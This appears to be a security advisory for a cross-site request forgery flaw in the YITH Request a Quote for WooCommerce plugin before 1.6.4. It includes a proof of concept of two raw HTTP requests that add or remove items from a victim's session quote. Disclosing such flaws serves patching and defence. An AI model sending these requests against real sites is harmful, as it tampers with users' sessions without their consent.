YITH Request a Quote for WooCommerce < 1.6.4 – Unauthorised AJAX call via CSRF

Description

The ajax method did not properly check for CSRF, allowing attackers to make users call the ajax_add_item, ajax_remove_item or ajax_variation_exist actions, which will tamper with their session quote.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 62
Connection: close
Cookie: [CSRF]

action=yith_ywraq_action&ywraq_action=remove_item&product_id=1


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
Cookie: [CSRF]

action=yith_ywraq_action&ywraq_action=add_item&product_id=1